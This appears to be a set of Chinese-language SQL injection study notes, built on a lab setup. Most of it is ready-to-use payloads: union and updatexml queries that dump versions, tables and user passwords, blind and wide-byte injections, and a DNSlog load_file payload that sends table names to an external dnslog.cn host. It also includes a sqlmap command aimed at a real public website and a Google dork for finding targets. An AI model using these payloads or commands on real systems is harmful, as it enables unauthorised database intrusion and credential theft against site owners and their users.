1.了解注入情况的网址
http://wooyun.2xss.cc/searchbug.php?q=SQL%E6%B3%A8%E5%85%A5
2.注入的原理及注入方式
-
注入的原理
参数赋值给变量未经过滤直接进入数据库查询操作
注入属于服务端的注入
注入与操作系统类型、数据库类型、脚本语言类型无关
-
注入漏洞的检测方法
‘ 单引号
and 1=1 and 1=2
or
xor
and sleep(x)
and ascii(substr(database(),1,1))=112
-
如何找注入
1.有参数 并且与数据库产生交互
2.登录的地方、插入的地方、更新的地方、删除的地方、注册的地方、查询的地方、留言的地方(留言要保存在数据库)
3.可能出现注入的地方:get头、post头、cookies头、user agent头、referee头等
3.注入的分类
-
数字型
http://10.0.0.130:90/sql.php?id=1
-
字符型
http://10.0.0.130:90/sql.php?id=abcd
-
搜索型
vince' or 1=1#
或
'%vince%' or 1=1;
-
xx型(特殊类型)
username=('xx') or 1=1;
4.注入的提交方式
-
get提交
地址栏可以看见参数
-
post提交
可以通过burp抓包
-
cookies提交
通过burp抓包,id在cookiies
5.注入攻击支持的类型
-
union注入
union一般与order by配合使用
①http://10.0.0.130:90/sql.php?id=1' 先查询是否有注入点
②http://10.0.0.130:90/sql.php?id=1 order by 1
③http://10.0.0.130:90/sql.php?id=1 order by 5
④http://10.0.0.130:90/sql.php?id=1 order by 4
⑤http://10.0.0.130:90/sql.php?id=1 union select 1,2,3,4 爆出1.2.3.4 说明1.2.3.4可写
⑥ http://10.0.0.130:90/sql.php?id=1 union select user(),2,3,4
⑦ http://10.0.0.130:90/sql.php?id=1%20union%20select%20database(),2,3,4
1234均可以爆破
-
基于函数报错注入
updatexml
注入方式
载荷注入
insert注入
updata注入
delete注入报错的信息获取
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
手工爆破试验
爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
爆表
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
爆字段内容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
extractvalue
floor
盲注(没有任何结果展现出来)
- 基于布尔型SQL盲注(ascii码)
在布尔型可以测时间型
select ascii(substr(database(),1,1))>xx;
vince' and ascii(substr(database(),1,1))=112#
vince' and ascii(substr(database(),1,1))=113#
- 基于时间型SQL盲注
vince' and sleep(x)#
WAITFOR DELAY '0:0:5'--
在时间型里不能测布尔型
- 基于报错型SQL盲注
堆叠注入
多条语句同时执行用;隔开(并不是所有的都支持堆叠注入)
http:// https://www.cnblogs.com/0nth3way/articles/7128189.html
宽字节注入
跟GBK有关,%df' or 1=1
魔术符号被开启,’会被转换为/,对数字型影响不大,对 字符型影响大
vince%df' or 1=1#
要结和burp
vince%df' or 1=1# 修改信息
还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、 mysql_real_escape_string()
原理
对方开启魔术符号,对方的编码要是gbk,通过%df构造两个字节,汉字将被转义的这个位置占掉
6.伪静态与cookies注入
1. DNSlog注入
http://www.dnslog.cn/
show variables like '%secure%';在2003的登入mysql
secure_file_priv=""; 只有添加了这一行才会有下面的
重启phpstudy
在dnslog获取,更改其中的信息
and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.o51xcb.dnslog.cn\\abc'))),1,0)--+
2.cookie注入
当我们打开get或post页面的时候,发现有注入防范,可以把get或Post参数写入到cookie里面进行测试注入,有的时候程序未对cookie注入进行防范(注:前提是接收用户参数的地方是request并卫队cookie进入防范)
3. 伪静态
https://cn-sec.com/archives/886203.html
如何识别是否为伪静态页面
①使用网站最后修改时间识别是否为伪静态
打开页面的右键检查输入javascript:alert(document.lastModified)
在这个页面输入
如果返回的时间是当前的时间,那么就基本上可以判断为伪静态页面了,如果返回的时间是之前的时间就可以判断为静态页面。
②删除后缀识别是否为伪静态
正常页面 删除扩展还是正常页面是伪静态页面,出现错误是静态页面
判断是否存在注入
使用数字相减来判断,页面显示一样存在注入点
使用and 1=1和and 1=2判断,页面显示不一样可能存在注入点
使用SQLMap进行注入
python2 sqlmap.py -u https://www.oldboyedu.com/zuixin_wenzhang/index/id/523*.html
注意*
使用google寻找伪静态网站
inurl:php?id/1.html